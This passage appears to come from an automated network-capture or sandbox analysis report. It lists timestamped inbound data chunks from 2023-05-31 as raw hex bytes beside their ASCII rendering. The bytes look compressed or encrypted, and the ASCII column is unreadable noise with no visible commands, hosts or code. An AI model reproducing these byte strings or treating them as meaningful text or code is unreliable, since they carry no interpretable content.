e2 65 99 34 39 99 ed ae f2 11 4d fb 1d d2 97 7d 7e e7 8f e7 40 30 cb 4f a4 69 c9 50 de 89 bf ec ef d6 8c 5c 7a 00 f4 2a 59 61 fb da f6 94 a6 03 29 d2 ef 7d 3a a5 05 0e fa 38 4a f7 d1 d1 74 c0 d1 07 3e 4e e6 1f 47 eb 3e da 9a 0e d8 0c 1f Data Ascii: (UC6UK=Knk"k2Z"yDu(zN>`nE2\|iWNORXcC\|)^inrZ;>p=8~/7Kl-IimH_e49M}~@0OiP\zYa)}:8Jt>NG>
2023-05-31 10:22:21 UTC	2029	IN	Data Raw: 79 0c 8e d6 3a 4a e6 7c 91 84 92 1e 3f ee 72 66 4a 12 00 c0 a6 7b 48 b3 f9 08 be 83 69 2d 47 51 23 d0 86 ff e9 d1 5a 4b fd a8 39 1f 1e 5b 3f 41 9f 12 44 e3 bd 53 98 18 a7 13 76 5d c1 19 01 d2 d7 05 2d e3 bb 2b 38 5a a4 94 1a 8c db c0 3c f1 79 ee 60 a6 c2 13 ab fc 58 02 2c 25 f0 7e f8 79 e0 36 c1 f6 b6 80 2d f7 87 2c e3 57 d4 7c c1 10 51 53 e8 cc 91 e3 68 91 8c 07 24 d6 67 67 b3 4d 1c 94 96 95 f7 99 0f 6f 96 75 47 86 c5 60 61 90 bc e8 f8 f2 b8 28 b4 31 e5 4d 3f 01 3e b0 42 bc 3d 10 9e 75 58 9f 76 31 27 f3 6e 20 0b 09 28 2a 21 01 0e 4a 71 7c 39 e4 0f c1 6f d3 04 7c 15 74 94 53 0d 41 cd 04 0f 72 50 ec 0c f2 d9 18 11 65 e4 fb 4d 98 01 fc 01 ac b2 03 a2 30 68 0b ed 1b d3 81 72 4b 5b 8b 6d 2e 23 8c 58 7b e9 34 0e d9 47 4c bf c0 0a de 85 23 6b 89 06 30 a3 be 03 Data Ascii: y:J\|?rfJ{Hi-GQ#ZK9[?ADSv]-+8Z<y`X,%~y6-,W\|QSh$ggMouG`a(1M?>B=uXv1'n (*!Jq\|9o\|tSArPeM0hrK[m.#X{4GL#k0
2023-05-31 10:22:21 UTC	2045	IN	Data Raw: fc 3b ef 43 4c 18 1f d4 1f 63 67 a9 36 67 51 26 76 3a 7f 08 38 a6 1a d7 53 d3 f7 3f 18 be cf a8 8a 13 4f 9b e2 5f 16 bb e0 e2 19 ae 5e 72 fc 0d 45 13 87 33 12 f3 92 c3 3d 4d fe 4b 1c 8f ef 45 46 95 43 84 31 71 5a 44 91 bc da 22 04 df a4 d3 a0 40 2e 3e f4 29 5e b9 d7 1b ef 7f d8 8c fe 66 bc fb 15 f0 30 2a 74 81 de 20 8b f5 8b 07 e6 80 de de 66 49 ee cc e4 2e 11 f6 65 39 70 7f 91 00 7b b1 56 e0 5a d5 91 e3 3d 80 3b 23 42 60 cb 8e 60 0a fc 02 bf 1e 34 ff a8 a1 d0 93 b7 43 2f 4e 1c 75 29 86 fe 49 d6 f0 df 5a dc 17 65 d6 5a d0 c8 61 0d 46 a9 0f ff 29 ce fc 08 f7 3f 14 af f4 ac dc 2f 98 03 8c 61 0d b9 03 ce 83 9c 1f be 53 7a 7e cc 24 ac aa 3b 90 1f a3 4e 11 3f 74 50 04 3a 7f 9e 86 a2 33 74 69 6c e1 46 11 03 4e 71 fd 3c 42 51 43 fb 90 11 23 58 e3 b2 59 33 93 00 Data Ascii: ;CLcg6gQ&v:8S?O_^rE3=MKEFC1qZD"@.>)^f0*t fI.e9p{VZ=;#B``4C/Nu)IZeZaF)?/aSz~$;N?tP:3tilFNq<BQC#XY3
2023-05-31 10:22:21 UTC	2061	IN	Data Raw: 39 f1 91 f5 94 8d 14 71 be 3e 2d 37 51 7e b4 88 3e 2a 3d 8e ff 2f 19 23 23 77 75 89 3b a2 19 67 6f a1 94 61 f9 a4 51 66 45 91 31 ff 0d 8c 33 17 c1 79 cd a1 e0 d4 c8 cf aa 3c 8a ae 70 bc e3 0b 28 51 23 bb 76 34 90 e2 e6 37 9e 16 38 f5 49 4a 00 c9 35 bf 01 3a 30 33 91 31 7b 2a c7 1f 8c 27 94 75 0c 41 e4 eb 8d 15 59 14 7b 16 e3 df e8 2b e0 5f e4 58 8e f6 c8 02 e2 25 e9 0d a2 ec 75 e3 4a 53 54 94 2d af d3 19 00 3e 6f e2 79 5c 5d 78 7c 95 fa 82 22 ce 47 c6 38 72 c7 d5 02 47 8e a1 d2 e0 49 0b 6a 27 bf 44 c6 31 37 46 38 01 4c af 3c 83 c1 78 c8 ad 0c 15 68 4a 66 6a df 55 86 f3 12 40 23 5a 2e 15 cc 3b 9b 05 c8 01 3f 6d 55 2b a4 6d 0c 27 c2 2f cf 67 51 ec e9 84 44 d7 a9 d2 e3 c0 af 17 db 53 11 a1 b6 67 11 2a e6 eb f8 2c f1 71 67 16 e1 63 9e 85 98 2e e7 40 80 78 67 Data Ascii: 9q>-7Q~>=/##wu;goaQfE13y<p(Q#v478IJ5:031{'uAY{+_X%uJST->oy\]x\|"G8rGIj'D17F8L<xhJfjU@#Z.;?mU+m'/gQDSg*,qgc.@xg
2023-05-31 10:22:21 UTC	2062	IN	Data Raw: 17 ce c7 1f fb d9 82 9e 22 2d e8 0d a6 60 a2 16 ca 4f f5 bd 21 5e 39 c4 38 b4 ed ea 56 16 c5 28 91 52 80 53 af c4 f0 2d 60 55 91 a1 92 0c 75 15 36 24 66 5f ce 68 0c 78 7f 6a c3 fc 57 64 3f 86 9f f8 f5 2e c3 d9 95 4c e6 34 65 1e 1f 80 8c 42 fe ad 8a bd 7e f5 01 3f de a5 aa 79 53 54 dd 4c 92 7b b3 72 18 af 71 13 9b a7 93 bc 65 6d 41 f9 fe 24 ac 9f f7 7d b4 d2 56 c4 1b fd cd b9 5e 07 65 21 76 da 6b 4d 84 5d 76 ed 05 3b ea 37 e0 1e 4c d2 7d ff 51 52 4b 3b ca a7 65 5a 6f 71 9f 61 b5 65 5c 75 aa 6c 69 73 6e c4 9f d3 e3 d2 fc 55 e8 ea 0c 33 1f 35 92 6b 4d 2e 32 b3 86 06 9f 8d 43 06 e6 20 e9 ff f7 c3 bc ee 4f 42 bc 1e 48 47 c8 2a 50 22 49 4a 3d ed bb 58 ac 5e 64 12 27 cc 31 12 3e d0 b2 f1 8a 4f d3 32 27 a0 2f 3b 16 62 57 05 6a 2c a6 45 65 5c 2b 1b db 6d ce 17 b8 Data Ascii: "-`O!^98V(RS-`Uu6$f_hxjWd?.L4eB~?ySTL{rqemA$}V^e!vkM]v;7L}QRK;eZoqae\ulisnU35kM.2C OBHG*P"IJ=X^d'1>O2'/;bWj,Ee\+m
2023-05-31 10:22:21 UTC	2065	IN	Data Raw: 0d 22 d2 29 9b eb e6 66 98 e6 8f cd a1 f8 8e 63 de 6f a0 47 b2 06 4a b1 32 e6 9d 2e 18 f3 17 f0 b1 67 49 5f d8 69 a6 ba 2f 21 44 57 b3 ea 7f e7 79 12 5f e7 e2 09 76 6d 86 35 f1 ce 6a 8e 5c 9c be 07 3b 99 d1 1c b9 0b e0 00 17 51 91 7b 9b 23 d7 96 f9 9c 64 88 eb 2f 08 c5 9f 0d 9f 3c 1b 66 ee ef c1 27 de 6f 9a a8 f2 e6 f7 18 4a 5f d7 6c 32 85 c8 8b 9e 1f 16 8b 98 c5 bb 3d 13 df 60 02 9d bd 40 14 85 28 00 38 09 08 e7 e2 cf 80 37 5d dd 0f 5b 44 45 88 32 9d 58 7f f1 33 d1 61 61 69 15 7a e2 4b 35 01 2a d2 11 cb c5 39 15 fb f3 62 2a 64 71 4e c4 c7 90 af 94 70 83 ea b5 ca 40 1f 70 7c 87 16 68 3b ed 94 ec fe 03 3b ea b6 a5 6e a1 9c 14 7f c4 ab 1d 46 73 fd 2c 0b 67 c3 d7 f3 d5 d8 56 93 f7 e2 cd 9c 92 a3 cf 76 d2 b3 15 d8 cb a5 92 0d f7 b4 b2 7e 81 3a 3e 61 04 b7 56 Data Ascii: ")fcoGJ2.gI_i/!DWy_vm5j\;Q{#d/<f'oJ_l2=`@(87][DE2X3aaizK59bdqNp@p\|h;;nFs,gVv~:>aV
2023-05-31 10:22:21 UTC	2081	IN	Data Raw: 28 f2 8c 0b fa 95 bc 4c 8f b5 85 ec a8 ae 55 38 af 85 2b 4a 6f 2c 6e 01 6b 40 4e af 40 f8 12 45 31 2b 47 2c 52 94 0d cd 3b 53 bd 46 75 bd 10 0f b2 f1 93 03 74 b0 b3 89 14 db 8c bd c9 bb 89 5f dc fd cf 5c ac 19 eb 74 3e d6 e7 a5 b1 3e 76 c9 1f 96 5f 04 4f 8e f6 25 01 aa ec 03 f7 81 e9 81 a0 b0 ee 2d 30 c2 80 30 4b 93 88 3f ea 8f f3 14 e2 39 0e e0 8a 05 11 91 c2 65 5d 2a ff 4f b7 e6 0f d7 55 c2 0f 26 fb 56 7a 13 92 18 a2 21 6d 87 0d 75 98 ef 8c a9 62 ec 5f 1d e6 da 33 39 d6 e2 b3 11 9f 8f e3 73 0c 3e ff 3d 0a 9e cd f8 ec c3 e7 78 7c fe 89 d1 89 5e 61 ed c4 65 23 a4 67 ec ef 69 57 43 e4 ea 0e d9 a8 7f cd c1 c6 c7 0c ea 68 df 5d ac 8e f6 d1 11 ea 68 df 6e c3 fd 46 bd fd b8 5b 7c 5d 25 f6 b6 43 52 3c 86 b5 37 4d 93 5f 6b e7 3d 8c da c5 20 72 9d 3f 5d fd c4 bb Data Ascii: (LU8+Jo,nk@N@E1+G,R;SFut_\t>>v_O%-00K?9e]*OU&Vz!mub_39s>=x\|^ae#giWCh]hnF[\|]%CR<7M_k= r?]
2023-05-31 10:22:21 UTC	2083	IN	Data Raw: 5f ac c5 93 03 35 51 f6 88 7c 19 30 df 3e 42 da 59 07 a0 bd d9 56 17 44 b5 2b f1 45 54 d9 7a 08 55 ad 1f fb ec 1a 19 e3 38 96 bd d9 35 d2 e8 fb 22 b4 1e 92 41 5a 40 98 76 8a f5 78 68 96 58 40 6a 21 a9 48 f4 1f 48 f4 4f d5 d2 bf fb 38 a4 ff 06 ed fa ab f5 76 96 e3 cb 45 fe 3c b6 a0 80 5e 23 75 58 d3 7e 22 d1 eb 66 6e 42 19 9e c9 93 19 be 0c 9f 1e 9e e5 e7 ca 43 19 51 2f 29 b4 7e 32 a3 db d2 3c f4 a9 4c 15 54 8b db 1e 24 3a 4e 46 7a d5 bf 80 f4 ca 16 f4 6a 3f 4b d0 6b 17 84 4c 31 00 43 11 40 76 09 ec 07 da f1 8f 8c 30 ff ba 67 30 6c 2e ca 54 3d 37 93 61 ea 51 72 d9 d3 fe b6 03 25 4b 95 fe 7a 6e 0e 7e 39 3b 13 fb d6 e5 b6 d8 5e cc d5 95 63 51 77 be e8 9d 11 d4 fa 4b b0 f9 0a b4 cf d0 99 ab ee 09 44 fb a7 38 ed 0f 8d 6f e4 db fc 68 32 70 77 e1 93 34 8e ff a7 Data Ascii: _5Q\|0>BYVD+ETzU85"AZ@vxhX@j!HHO8vE<^#uX~"fnBCQ/)~2<LT$:NFzj?KkL1C@v0g0l.T=7aQr%Kzn~9;^cQwKD8oh2pw4
2023-05-31 10:22:21 UTC	2093	IN	Data Raw: 0d 69 b6 87 d7 d0 7f fb 30 ab 2a 53 ff f0 0a 4c f0 71 56 66 36 3e b8 99 ed e9 a6 f6 fb 94 bd c2 72 a7 71 f2 9a da 1f 51 a6 9b da 97 93 f7 c1 69 a5 ad f0 fe 1f e4 39 fa 06 ab a1 f9 73 28 92 7f f4 8e 80 98 49 69 58 7c 26 12 55 5d 6d c6 6f 3a d4 d8 c3 34 39 80 1c 19 ce 64 0c b5 3f 74 71 bb e9 33 cc ac dc dd f4 39 4e 7d c8 d2 b3 2e 3d dd 36 92 d4 b5 a9 be ea 26 fd d2 43 65 87 dc 6b 7b 45 d9 19 8f fb 39 c6 e7 24 9c 45 0b f9 60 d7 49 74 5a cb 4c 68 df 2a 1b 6f 9a e2 f9 3e 5b 6d 88 92 0f ec d4 a8 5d 83 ef df e5 4a a7 96 4e 56 5c 19 c0 b1 68 ba 56 d9 df 07 65 77 2b 79 bf d5 34 e9 7a f7 f6 e9 91 3c ba d5 f3 4d 72 cb 27 56 78 c6 13 54 5e 79 67 f8 22 48 5d 59 18 4a 65 42 5d 73 3c e7 9d 31 ed 65 4b 70 04 57 56 f9 27 ef 2a 0b 3a 31 b0 4a 9f fc 85 2b a6 72 27 f7 14 ca Data Ascii: i0SLqVf6>rqQi9s(IiX\|&U]mo:49d?tq39N}.=6&Cek{E9$E`ItZLho>[m]JNV\hVew+y4z<Mr'VxT^yg"H]YJeB]s<1eKpWV'*:1J+r'
2023-05-31 10:22:21 UTC	2108	IN	Data Raw: f8 c4 fc 7e ee ff 26 9b 35 91 bd 0a cb cc d3 51 86 06 44 3a 7b 98 91 ab f8 91 df c3 ac 71 cd a4 ec 1e 10 59 58 86 89 e2 b2 a2 69 76 07 cf c0 29 70 e0 c4 0e 88 8c ef 5b 38 91 ef af 33 7b 26 6d b9 26 2a 64 03 22 34 11 41 b4 13 53 f3 a7 cd a0 1d 89 2c cc 37 4f 9b ef b2 3b cd 85 76 eb 2c 7b 3e 52 99 23 f3 cd b6 99 65 c5 b3 9c 41 2d f7 5f ad 07 09 96 78 4b e2 6c b3 39 31 de 3c ba 64 0e 4c 42 5f cd b4 b2 82 42 97 b9 a4 b8 9f d9 61 2f 75 94 e4 97 d9 0a a6 15 da cd 84 b1 79 14 79 bb b9 ac d8 59 6a b7 15 4c 2f b0 e7 6b 4a 0b ad ae e9 25 8e a2 7e e6 22 94 9f b9 1a b5 0a 67 0c cb ee 67 8e 88 9b 63 75 c4 b9 8a 4a e3 f2 e1 1d e2 4a b0 59 14 dc 38 28 42 53 5c e2 32 5b e7 a0 ba 59 b1 7a 5f ff 80 b2 83 23 77 f4 33 17 f4 ee db 3b 76 6e ef a4 58 5e 7b cf c4 d8 19 36 9b 39 Data Ascii: ~&5QD:{qYXiv)p[83{&m&*d"4AS,7O;v,{>R#eA-_xKl91<dLB_Ba/uyyYjL/kJ%~"ggcuJJY8(BS\2[Yz_#w3;vnX^{69
2023-05-31 10:22:21 UTC	2124	IN	Data Raw: d2 3a b5 dd 14 fe 00 18 69 bd da 6e 0a 7f 1c 8c b4 41 6d 37 85 bf 08 46 da a8 b6 9b 6a be 81 91 36 a9 ed a6 f0 f7 c1 48 0f a8 ed a6 f0 03 60 a4 5a d9 ff d5 c2 7f 04 fb 05 7a 50 f5 1b c2 fd e6 a1 bc 41 0f a9 7e 43 78 47 b0 48 e8 61 d5 6f 08 4f 00 1b 00 6d 56 fd 86 f0 61 60 e3 a0 47 84 ef 54 f3 19 ac 08 7a 54 f8 fb c2 e7 83 2d 85 1e 13 fe a9 f0 7b c0 36 42 5b 84 7f 25 7c 2b d8 8b d0 56 e1 3f 0a df 01 f6 01 f4 b8 f0 53 c2 bf 00 fb 01 7a 42 f8 39 e1 bf 82 5d 80 9e 14 ee 67 94 f8 61 3e fa 8e d0 53 c2 83 84 87 83 f5 82 9e 96 72 78 b9 f0 11 60 53 a1 67 24 9f af 10 5e 06 76 37 b4 4d f8 d5 c2 9f 04 db 09 3d 2b bc ab f0 2f c1 48 cf 89 9f bc 4e f8 37 60 a4 e7 65 bb 3d 84 7f 0f 46 7a 41 d6 13 27 fc 27 30 d2 8b 52 1e 7a 0b ff 19 8c f4 92 1c d7 40 e1 9a 05 03 6d a4 97 Data Ascii: :inAm7Fj6H`ZzPA~CxGHaoOmVa`GTzT-{6B[%\|+V?SzB9]ga>Srx`Sg$^v7M=+/HN7`e=FzA''0Rz@m
2023-05-31 10:22:21 UTC	2140	IN	Data Raw: a1 ed 91 da a6 d6 ac 13 9a c3 4a ca 87 0b ad 23 18 5e 09 7d 1c 63 71 1b b4 7f 99 fb 68 50 b8 27 d1 e7 6e c4 36 a3 ee 80 2a 5e 6e 1a 21 85 f9 b6 be ec ed 87 c5 e6 be b8 4f 8b 7f 16 df a4 76 5a 55 f3 6c 1e a6 fb ce 2a 9f d4 a9 0b 35 13 71 6b 0b b4 b8 c3 ef c4 f4 65 ee f7 39 f8 ac d7 f6 5a aa 40 8e b3 3d e7 aa 5b 51 f5 ed b7 5e d1 73 6e 56 a3 ed 1d b5 3c 92 f4 a9 75 de f5 7c 27 8a e5 ac cf f3 46 c9 1b 5f fa ea 35 69 82 d9 a3 c4 30 b8 4b 5b 7a ba ae c8 1f dd d4 dd 64 c4 e6 da 3f 66 c2 ed 55 5f a6 33 55 6e 2d 79 94 a8 73 7d d3 5d ab d9 b6 e2 8a 78 2f af 38 a2 e3 cf ae 8c 47 59 af 77 57 7e 3b bf 79 db f9 6f f6 eb 5a 6c f8 f6 ee 9e c3 bc d8 d8 8a fe 36 3a f1 20 f8 eb fd 9c a2 67 eb 4e 2b 4a 12 8c 4f bc c2 b7 a8 79 3b d6 7a 3c 8f bf 3b 36 9c ed fe 2a ba 55 ef ef Data Ascii: J#^}cqhP'n6^n!OvZUl5qke9Z@=[Q^snV<u\|'F_5i0K[zd?fU_3Un-ys}]x/8GYwW~;yoZl6: gN+JOy;z<;6*U
2023-05-31 10:22:21 UTC	2156	IN	Data Raw: cd db cd 7b cc 47 cd c7 cd 27 cc df 9b 7f 34 ff 66 4e b0 60 b0 e0 b1 10 b7 90 b5 d0 b7 30 b6 b0 b4 b0 b3 70 b1 70 b5 58 63 e1 6f 11 61 91 6e 91 6d 51 6c 71 ca a2 cc a2 dc a2 de a2 d1 a2 d3 e2 a1 c5 90 c5 37 8b 39 0b 1a 4b 36 4b 0e 4b 79 4b 55 4b 53 4b 5b 4b 57 4b 92 a5 b7 65 bc e5 56 cb 64 cb 6c cb 52 cb 72 cb 0a cb 1b 96 ed 96 de d1 81 6a c4 d0 58 22 50 75 94 8f b7 1f 31 da df 37 38 32 3a c2 d7 3b 14 e5 13 1c 18 1e 17 46 8c 8d 88 20 2e 3e a6 da 27 38 36 66 51 8a 41 de a4 89 82 2c a1 fe 7e c4 f8 e0 d8 20 a2 ff 26 ff 70 62 58 84 5f 5c 68 5c 0c ca 2f 78 13 d1 27 91 b8 d9 3f 3a 02 79 66 71 84 5f 70 78 20 d1 3f 3a 3a 22 1a e5 9f 10 e9 1d ee 47 8c 08 27 c6 c4 7a c7 06 fb 12 29 6d f8 79 c7 7a a3 82 c3 23 e3 62 89 e1 11 b1 d0 09 bf 38 5f 7f 3f d0 6c f2 0e 0d f6 Data Ascii: {G'4fN`0ppXcoanmQlq79K6KKyKUKSK[KWKeVdlRrjX"Pu1782:;F .>'86fQA,~ &pbX_\h\/x'?:yfq_px ?::"G'z)myz#b8_?l
2023-05-31 10:22:21 UTC	2172	IN	Data Raw: c1 01 a5 c2 bc 71 81 70 18 27 ac 3f 21 90 54 43 8d e8 45 5f 44 ce 99 84 e3 37 11 7d 62 98 d6 81 5e c2 fd c3 89 d4 2a 52 68 32 fa 22 43 2f a4 70 5b 1e 41 04 12 75 24 81 a0 41 b8 c0 33 ee 3e 5e c8 13 40 84 48 14 2b 8f 80 60 15 a4 25 3e 28 d0 2b 34 9c 10 08 37 c3 7a 00 78 08 73 38 90 ec 24 b0 0a e4 e9 13 0a 10 80 49 45 80 83 4c 21 81 b7 c0 98 f9 f8 fb 13 bc 70 fe 58 80 8f 36 fc 13 10 3b 1c fe 0b 8b bc f9 d3 c7 0d 03 42 f4 0a f3 a6 40 49 63 48 29 02 06 80 ca a5 86 ff f2 c7 b9 13 fc 29 a5 00 f0 d6 e0 80 28 19 fa 08 f0 f2 54 c1 06 50 c3 8d 05 e1 08 c1 b4 f1 a7 28 b1 c4 48 54 32 96 e9 a9 0e 26 12 99 3e 0b c0 44 9c 7f 18 3c 07 50 18 5c 66 a4 25 2c 14 e7 e3 4f c3 50 94 b6 9a 0a 45 12 21 01 c1 58 52 a0 30 d8 36 27 c0 2f 4e 08 84 8e 34 cd 7c f0 c7 4d 12 3d 79 e6 d0 Data Ascii: qp'?!TCE_D7}b^*Rh2"C/p[Au$A3>^@H+`%>(+47zxs8$IEL!pX6;B@IcH))(TP(HT2&>D<P\f%,OPE!XR06'/N4\|M=y
2023-05-31 10:22:21 UTC	2188	IN	Data Raw: 27 5d c1 13 17 16 ed e1 39 a7 d4 17 0d d4 b6 0f 66 46 c7 fd 73 66 b4 01 df 2e d0 53 ef a3 8e c0 9e 73 23 19 8b 93 90 7a 35 69 92 1a 55 44 97 fa 1a 5b cc b9 2c fc 7a 87 cf 8a a6 41 a5 bb cf 8a 8e 1a 36 2b ea 01 9f 32 64 56 34 84 2f 3d 4a 86 a9 f7 24 bd a6 6b ee c7 45 5a db a6 d0 72 76 3c a6 56 d0 55 1c 7a 89 44 3c 3b 3a 65 fd 24 ba 62 34 6b 12 2f 79 4b dd 5c 3d 72 b8 c4 2b e8 00 85 b0 80 5d cd 2e b7 e1 6a d0 d6 e9 01 a7 29 e9 e6 48 22 39 aa 08 d1 9b 44 bf 79 95 0b aa 6a d0 a6 6b 85 e5 55 d6 54 30 a7 90 97 05 bc 43 d7 94 d1 69 95 9e d5 62 56 b5 27 d1 bb db ca 24 c1 a4 d6 78 34 9e 48 b7 d1 85 c4 74 ab ee 6b 26 d1 7d 42 df ce 46 67 50 73 dd a3 2b 56 b9 18 a3 af 49 fe ba e0 d4 c9 21 3d f7 0f c6 2d 37 d1 67 2b 0f dd 5a 5b 2a 9a 6a 9e 3b 76 5c c6 4f c9 b1 d0 68 Data Ascii: ']9fFsf.Ss#z5iUD[,zA6+2dV4/=J$kEZrv<VUzD<;:e$b4k/yK\=r+].j)H"9DyjkUT0CibV'$x4Htk&}BFgPs+VI!=-7g+Z[*j;v\Oh
2023-05-31 10:22:21 UTC	2204	IN	Data Raw: da a9 94 e4 fa 80 24 14 d3 7c c5 8e 7f fa 6e dc 15 e6 dc a0 f4 7f bf 2b cc bb 89 b2 cc 4d 14 3c 37 a6 3a 46 f0 dc 98 8a ca 66 d6 95 4d 0a 87 2c 98 05 c2 f5 8b 2b f2 cb df 33 57 98 f2 17 90 65 53 e0 ec 25 fd 86 6f c9 97 5f 33 66 cb c0 e7 2a 69 ff 21 41 e2 db 31 41 76 ea 9d b9 b3 9b 27 ea 40 9e 3b 71 2f 4d fb c2 39 84 9e 95 f8 61 ee 37 f5 7b 30 c9 de ce 77 a2 3f 32 f2 8e 99 d3 4c 47 5a 69 b3 a7 3f 63 88 49 9e a4 05 e2 35 27 56 b8 15 17 96 37 e2 b5 24 32 fa 24 90 7f 21 8f cf ce 04 ae e8 f9 e6 28 ad 72 ef ee f1 9c dc 73 3b 5d 79 66 fc a9 bf 3d 9a 95 ab 2f c4 7a f8 9a c1 a4 61 49 27 01 11 0d 05 65 99 d8 4b 83 fa 9c d6 2a 7b 49 50 1c 99 72 f7 07 29 bb 48 cb 9e f5 71 57 e3 fc 75 da e0 2d 43 b2 19 e4 04 a5 73 b9 bb 85 7c 1b 91 4e 5c b9 97 c9 95 af 4f 5c 21 4b c5 Data Ascii: $\|n+M<7:FfM,+3WeS%o_3fi!A1Av'@;q/M9a7{0w?2LGZi?cI5'V7$2$!(rs;]yf=/zaI'eK{IPr)HqWu-Cs\|N\O\!K
2023-05-31 10:22:21 UTC	2218	IN	Data Raw: 99 4d f8 47 33 c7 8a e7 b9 77 aa f3 7e d1 77 f4 e7 cd d7 95 fa 29 93 9e b7 08 87 3a cc fc ab fa 2b 9a 43 9e 29 a3 61 f2 31 4c 79 f6 52 3e 7d e7 50 16 77 93 3e da c7 d0 e9 b4 b5 93 c9 eb 75 5c cf 23 6f db c4 a5 61 ea bc 87 f6 39 40 39 f7 7f 4b 5d 51 f6 32 f9 93 45 1a c5 7d 6b d6 12 d2 35 5e 69 b8 8d eb c2 88 34 44 5b 1a 20 4f fd d4 6f e5 11 8c 31 22 9e 21 71 66 0e 77 a3 f2 a5 82 2a da 01 65 5e 70 23 69 e7 af 4c bb eb 6b cb a7 8f 61 0e 52 37 a2 1c 36 a6 1c c5 b5 b8 6f df 4e 3e c4 5a 9c 30 8a 36 a2 dd 88 7b c1 d8 17 52 37 99 af a9 87 ab 99 87 88 43 fe 94 f5 23 69 ea 25 bd 05 d4 6b dd 55 a4 8f 38 33 94 a3 fc 02 f9 66 fc e8 fb 82 b5 d7 93 c4 87 5d 5f 1e e5 39 97 34 7d 1f 91 0a 29 c7 61 da 5a 65 84 f0 69 6f 43 e2 b9 fb a5 84 c1 7a ac 90 3a eb 15 79 78 87 79 ad Data Ascii: MG3w~w):+C)a1LyR>}Pw>u\#oa9@9K]Q2E}k5^i4D[ Oo1"!qfw*e^p#iLkaR76oN>Z06{R7C#i%kU83f]_94})aZeioCz:yxy
2023-05-31 10:22:21 UTC	2234	IN	Data Raw: 7b 84 5f c9 4b c4 8a e2 6f c5 5a e3 f3 63 b1 d8 e5 f1 2f a2 5f 46 3f 8f 7e 15 fd 38 fa 75 74 ae ff 82 e0 0b 9e 41 cf b3 c1 fa d0 8b c1 17 3d 19 ff 4b 9e 25 a1 4b 83 3d 91 97 3d af 78 ae 09 cf f3 3f 17 7c d5 f3 9a e7 75 cf 87 be 37 3c 6f 7a de f2 bc ed 79 c7 f3 ae e7 3d cf ba fe 75 fc 49 ff 7a fe 94 7f c8 33 2f f2 81 a7 3f 7c 74 ea 98 54 26 f5 a1 67 cf d4 1e a9 09 a9 5f a2 2f fa 06 7d 33 03 f7 fa 3e f2 7c ec 49 c7 27 06 fc fe 3c ff 84 c0 7c ff 27 9e 4f 3d 1d 81 a7 fc 2b 53 7f 44 bf 4f d2 08 fc 41 ff ef d1 90 ff 69 ff 59 a9 b0 3f e2 8f fa 7f 8d c6 fc 9f 79 3e f7 7c e1 f9 d2 f3 95 e7 6b cf 37 1e 9f 7f 7c e0 95 d8 b7 9e ef 3c c3 9e 27 c2 df 7b 7e f0 fc 16 fd 27 59 9a 98 96 28 49 ec 97 98 92 98 9e 98 99 f8 d1 f3 93 e7 67 cf 2f 9e 1f 7d bf 7a 6e 8f 7d 16 db 35 Data Ascii: {_KoZc/_F?~8utA=K%K==x?\|u7<ozy=uIz3/?\|tT&g_/}3>\|I'<\|'O=+SDOAiY?y>\|k7\|<'{~'Y(Ig/}zn}5
2023-05-31 10:22:21 UTC	2250	IN	Data Raw: 8b 96 1c a7 66 e1 19 92 f2 9e b1 5b 8c 8a 85 35 46 e5 e0 42 f1 ec b9 96 84 1b 52 8b d3 8d 11 93 a1 98 4d de 3c b2 ee 0c 4a d1 5a 72 5c 99 81 95 e9 5f bd 32 8d 86 f3 32 ed c3 54 fa c1 77 cb 26 ce 2e 19 3e 74 c1 e6 6b 56 69 cd 74 fd 3c 8c 53 b4 39 54 8e df 75 a6 97 b0 b5 6d b4 a9 e6 b7 0f ac aa b2 41 34 04 f5 f9 40 b6 9b 49 79 81 45 d5 3b 8a 30 58 b6 ae a6 26 de f8 b5 98 94 b3 51 a6 b9 db e2 dd 9e 01 a5 91 88 4d a5 58 97 e7 a8 da 4e c5 aa db e3 75 6c 66 dd 74 a3 47 38 74 63 1b 9b 63 69 e9 95 56 59 1f 0a 0d 51 f9 28 b9 d9 44 85 2c be 39 a2 be 34 6e 48 d6 5a 6d ab ef 6a 58 68 1a 6d d5 66 6d 87 ba 51 9f 7c 14 c5 65 fd 63 b3 d3 8e d8 29 77 92 6d 16 e2 97 ec 2c cb 0e 43 77 49 bf 32 90 92 59 37 e7 fa b6 cf 14 c5 b3 5d 9b c9 18 93 55 a5 c3 5a a7 da 13 5d c5 6c 9c Data Ascii: f[5FBRM<JZr\_22Tw&.>tkVit<S9TumA4@IyE;0X&QMXNulftG8tcciVYQ(D,94nHZmjXhmfmQ\|ec)wm,CwI2Y7]UZ]l
2023-05-31 10:22:21 UTC	2266	IN	Data Raw: fa d2 5d 88 f8 cc 6c a5 31 8a e9 c4 09 d2 b5 52 18 22 ce a5 ca 93 ca f7 8a a0 66 a9 a7 ab 39 e0 c9 39 d0 e8 c7 02 6f 76 62 0c ab ad f3 ad 59 d0 34 c7 3a 6f 3b 5f 3a a2 fb 20 18 50 a3 ef 66 df 27 4c d7 78 e7 19 c9 9f ca 6f e1 87 40 65 5d 8f 67 cb 15 17 88 6b c4 63 80 63 f5 f2 50 25 1e dc a2 0c f7 b3 43 3f 1b bc e5 67 e3 2d f3 18 58 c4 1c fb 90 1d 07 ee f0 4f 8f 47 6e 8c 62 78 35 9f 7f 8f 5f 2b 6c 10 7b ab 02 9e 48 d0 7a 82 8d 8c b2 56 39 d3 dc 33 dc 57 dc 9e be 61 6c 15 7f 91 ef 72 e8 88 c7 7d af 79 7b b1 9a a3 68 eb 13 ec 7f 20 3f 0e 11 6e 16 bf 80 bf 8c bf 85 af 43 64 fb 45 28 10 cf 13 6f 10 9f 13 df 03 cf 18 24 e9 d2 24 69 9e 54 23 5d 80 e7 de 82 f8 fb 2b f8 b7 24 4f 90 73 e4 d3 e5 05 f2 52 f9 5f f2 7d 6c 7d f6 4d f9 43 16 ed 7e 93 4f 50 4c 25 1f 36 b5 Data Ascii: ]l1R"f99ovbY4:o;_: Pf'Lxo@e]gkccP%C?g-XOGnbx5_+l{HzV93Walr}y{h ?nCdE(o$$iT#]+$OsR_}l}MC~OPL%6
